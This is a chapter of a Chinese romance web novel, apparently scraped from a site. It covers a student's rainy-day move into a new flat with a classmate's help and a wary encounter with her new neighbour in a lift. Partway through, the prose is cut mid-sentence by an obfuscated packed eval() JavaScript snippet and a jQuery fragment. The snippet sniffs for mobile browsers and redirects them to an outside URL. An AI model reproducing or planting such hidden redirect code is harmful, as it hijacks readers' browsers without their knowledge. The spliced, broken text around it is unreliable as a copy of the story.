路思游还没来得及婉拒,汪珊珊就端着餐盘打饭回来了。
她在旁边坐下,听见他们在聊天,顺口一问:“聊啥呢?这么热闹。”
秦枝立刻抢答:“刚才姜柯骋说要帮思游搬家呢!”
汪珊珊“啊”了声,摇摇头:“恐怕不行,因为思游已经约好搬家司机了。”
路思游忙点头附和,举起手机晃了晃:“对,我昨天已经和搬家师傅约好了。”
姜柯骋无奈地耸耸肩,深表遗憾:“那太可惜了,只能下次了。”
一语成谶。没想到这个“下次”来得如此之快。
第二天上午。
天公不作美。十二月本该落雪的季节,而礼安仿佛梅雨季推迟般,没完没了喋喋不休地噼里啪啦个不停,空气潮湿黏腻的像张放久的拆封的糖衣纸,包裹住整个城市。
像要被这阴雨连绵的天气给逼疯了,秦枝走到阳台,摸了摸晾了一排却仍旧湿漉漉的袜子,彻底崩溃:“我服了啊!我的七双袜子没一双干的!我现在内裤都穿的是一次性的,不会还要再买一次性袜子吧?!……”
她忍不住在阳台对天哀嚎:“这雨什么时候能停啊,我想要的是初雪!不是雨啊……”
路思游从衣柜掏出两双崭新的黑白条纹袜子,递给她,“新的,上周学校超市买的,还没穿过。”
秦枝接过来:“救命恩人啊!简直是雪中送炭。”
她立马蹬掉脚上的拖鞋,一边穿袜子,一边抬头问:“思游,你收拾得差不多了吗?等我换好衣服就陪你下去。”
离约定的搬家时间还有半小时,司机师傅的电话打来了。
她接通,就听见司机师傅在电话那边絮叨半天,最后概括一句:得加钱。
下雨天搬运货物确实不方便,适当加价倒是情有可原,她没多说什么,只问:“那你那边大概是要加多少?”
只要在合理正常的价格区间内,她都可以接受。
然而对面报出的数字,显然超出了“合理”的范畴。这不是商量,用趁火打劫这个成语更合适。
虽然她已经收拾好东西准备搬家,但比起这个价格,倒显得也没那么急了。
在对方坐地起价后,路思游没再多说,经过几句简短的沟通后,干脆取消了平台订单。
行李已经打包好,堆放在书桌中央。她正在考虑等雨停后再搬走,还是再约辆车。但临时约车确实不好约。
正犹豫间,手机震动两下。
她拿起来解锁,是姜柯骋发来的微信。
与他本人的潮流气质不符的是,他的头像是一只萌萌的Q版猫猫头。听他之前提到过,是他爸妈家里养的一只三花猫。
「出发了吗?」
「还没。」
「是出什么问题了吗?」
停了会儿,她回复:「算是吧。」
紧接着,弹出一条两秒的语音,点开,是阵低磁的男声:
“等我十分钟。”
没给她拒绝的机会,那边就挂掉了电话。
一旁的汪珊珊听见了,凑过来说:“这外头雨下这么大,临时也不好再找其他的搬家师傅,就让姜柯骋送你吧,多个人也方便些。”
看着地上那几个大箱子,路思游轻轻叹了口气,只能接受了这个提议。
十分钟后,又收到了条微信:
「我在宿舍楼下。」
路思游抱着纸箱下来时,姜柯骋正站在宿舍楼前台,微微躬身在和宿管阿姨说话。
他穿着件藏蓝色派克服,帽檐上一圈灰棕色的绒毛随着大门开关之间带进来的冷风轻轻晃动。
侧着脸,透过窗口笑吟吟地不知道在说什么,她想,大概是在向宿管阿姨解释为什么出现在女寝楼下云云。
听到楼梯边的脚步声,回过头便看见了她。他直起身,很自然地走过来接过了她怀里的箱子。
来回几趟,加上室友们搭手帮忙,没过多久,行李很快地被搬上车。
室友们在一楼大厅站着送她,脸色都不见刚才的笑意,气氛突然间有些伤感。“思游,你这就要搬走了吗?晚上没有你关灯,还是有点不习惯……”
路思游伸出胳膊圈住她,笑着打趣:“还没毕业呢!还有一个学期呢,怎么现在就这么伤感了,真到毕业的时候那还得了?”
她开着玩笑,试图活跃一下这种伤感离别的气氛。
姜柯骋安静在一旁看她们宿舍说话,这会儿开了口,提醒了句:“周六我们不是还要去青云山聚会嘛。”
低沉的情绪这才稍微燃起了点儿。汪珊珊看着秦枝,嘱咐道:“我们下午还要去考试,你就替我们帮着思游收拾点儿。”
秦枝拍拍她的肩膀:“有我护送,放心好啦。”
路思游看向室友们和姜柯骋说:“谢谢你们帮我搬东西,等你们有空了,我请大家吃饭。”
姜柯骋是学校里很有名气的一号人物,突然出现在女寝室楼下,自然吸引了不少目光。一些经过的视线在打量他过后,也顺势落到她们几个身上。
察觉到后,她有些不自然地挪开半个身位,站在靠墙的一面。
一个小时后,车子驶入满星湾地下车库。
停好车,姜柯骋打开后备箱。
路思游想着先搬大件到楼梯口,她刚想伸手去搬纸箱,就被姜柯骋抢先一步提了起来,她抬头,正对上他带有笑意的眼睛。
“不是说好我来吗?怎么自己先忙起来了。”他语气轻松,说话间用空着的那只手从角落拎起礼品纸袋,“你拿这个就好。”
被秦枝看见了,忍不住调侃:“你这关心也太到位了吧,我家思游的力气可不小。”
姜柯骋又笑,回答:“没有,这不是最近几天赶作业没空去健身房,正好当锻炼了。”
很巧妙地把这句话的主语直接从她变成他。
秦枝闻言直乐,忍不住朝他比了个大拇指:“高,这就是说话的艺术。”
三人乘电梯上楼,经过她门前时,秦枝眼尖地注意到对门门口堆叠着几个拆完的快递纸箱。
还能看见快递盒背面印着的卡通小狗图案。
“咦?”秦枝回头看她:“我怎么记得,上周咱们来的时候,刘哥不是说对面还没有出租出去吗?”
路思游也看过去,点点头。上周对门房子确实还没人。
秦枝想了想:“出租的快也正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051707|193790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常,这么好的房子,这个价格,肯定很抢手……”
掏出钥匙,开门进屋。
姜柯骋将最后一个箱子放至玄关,很自然地停在门边,没有往里走,“就搬到这里吧。”他看着她,语气温和:“你就慢慢收拾,有需要的时候,随时叫我。”
路思游打开购物app,自己前几天在网上网购的东西显示到达快递柜。都是些锅碗瓢盆,水杯,开水壶等生活用品。
房子是两室一厅布局,她将被子衣服搬进较大的主卧,剩下一间较小的客卧则被她堆放书籍杂物等。反正只有她一个人住,索性当成了储物间。
姜柯骋因为学校有事,帮她搬完行李不久就被叫回了学校。
临走的时候,路思游送他到门口,“过段时间我请你们吃饭,有我们宿舍的,就汪珊珊秦枝她们,你看看你哪天方便?……”
电梯正好到达,听见她的声音,姜柯骋回头,伸手朝她比了个“OK”的手势。
电梯缓缓下行,红色数字跳到一楼,“滴”一声,门打开了。
一楼电梯门外站着一个男生。
听见动静,两人同时抬眼,都看见了对方。
祁熠脚踩一双深棕皮质鞋,穿了件深灰色开衫外套,漏出一截白色内搭,同色系松垮长裤。单手提了几罐可乐,半张脸因为低头看手机,埋进了羊绒围巾里。
片刻微愣,视线不住打量着彼此。目光在空气中短暂交汇。
两个人明明是素未谋面的陌生人,但不知为何在这个狭小封闭的电梯间,像平静的水面下有微妙的气氛无声流动。
说不清是探究还是打量,又或者是气场间天然带有些隐隐的碰撞或是“较劲”。
片刻后,祁熠先动了。
他微微侧过身,让出通道,声音平淡:“你先。”
姜柯骋走出电梯,擦肩而过时出于礼貌,不忘朝对方微微颔首。
祁熠重新低头刷手机,目光不经意触及到对方粘上少许灰尘的鞋面。随即收回,踏进电梯。
——
出了电梯,来至房间前,听见旁边传来的丝丝动静,他不经意朝对门看了一眼,然后收回视线,开门进了房间。
客厅里,路思游在摆放物品,秦枝在帮忙给她拆快递。短暂的安静中,听见门外传来的开门关门声。
“诶,”秦枝停下手中划快递包装的动作,竖起耳朵,“你新邻居好像回来了,我听见对门关门的声音了。”
这房子隔音还不错,这会儿她也停下手里动作,凝神细听,确实有声响从门外传来。
“要不要去打个招呼?刘哥不是说房东只租给年轻人大学生吗,对面说不定也跟你一样,是同龄人。”
她点点头,觉得这个建议不错,“等收拾完吧,我准备晚点再去。”
想起刚才在门边瞥见的狗粮快递盒子,看来新邻居也是养宠物的。正好她行李箱里还有一袋没拆封的同品牌狗狗肉干零食。
她打开行李箱翻找出来,拿在手里,准备投其所好,算是对新邻居的小小见面礼。
袋子上的白色小狗让她不由得想起了那只萌萌的毛绒团子撒旦,这次搬完家后,大概不会再见到它了吧。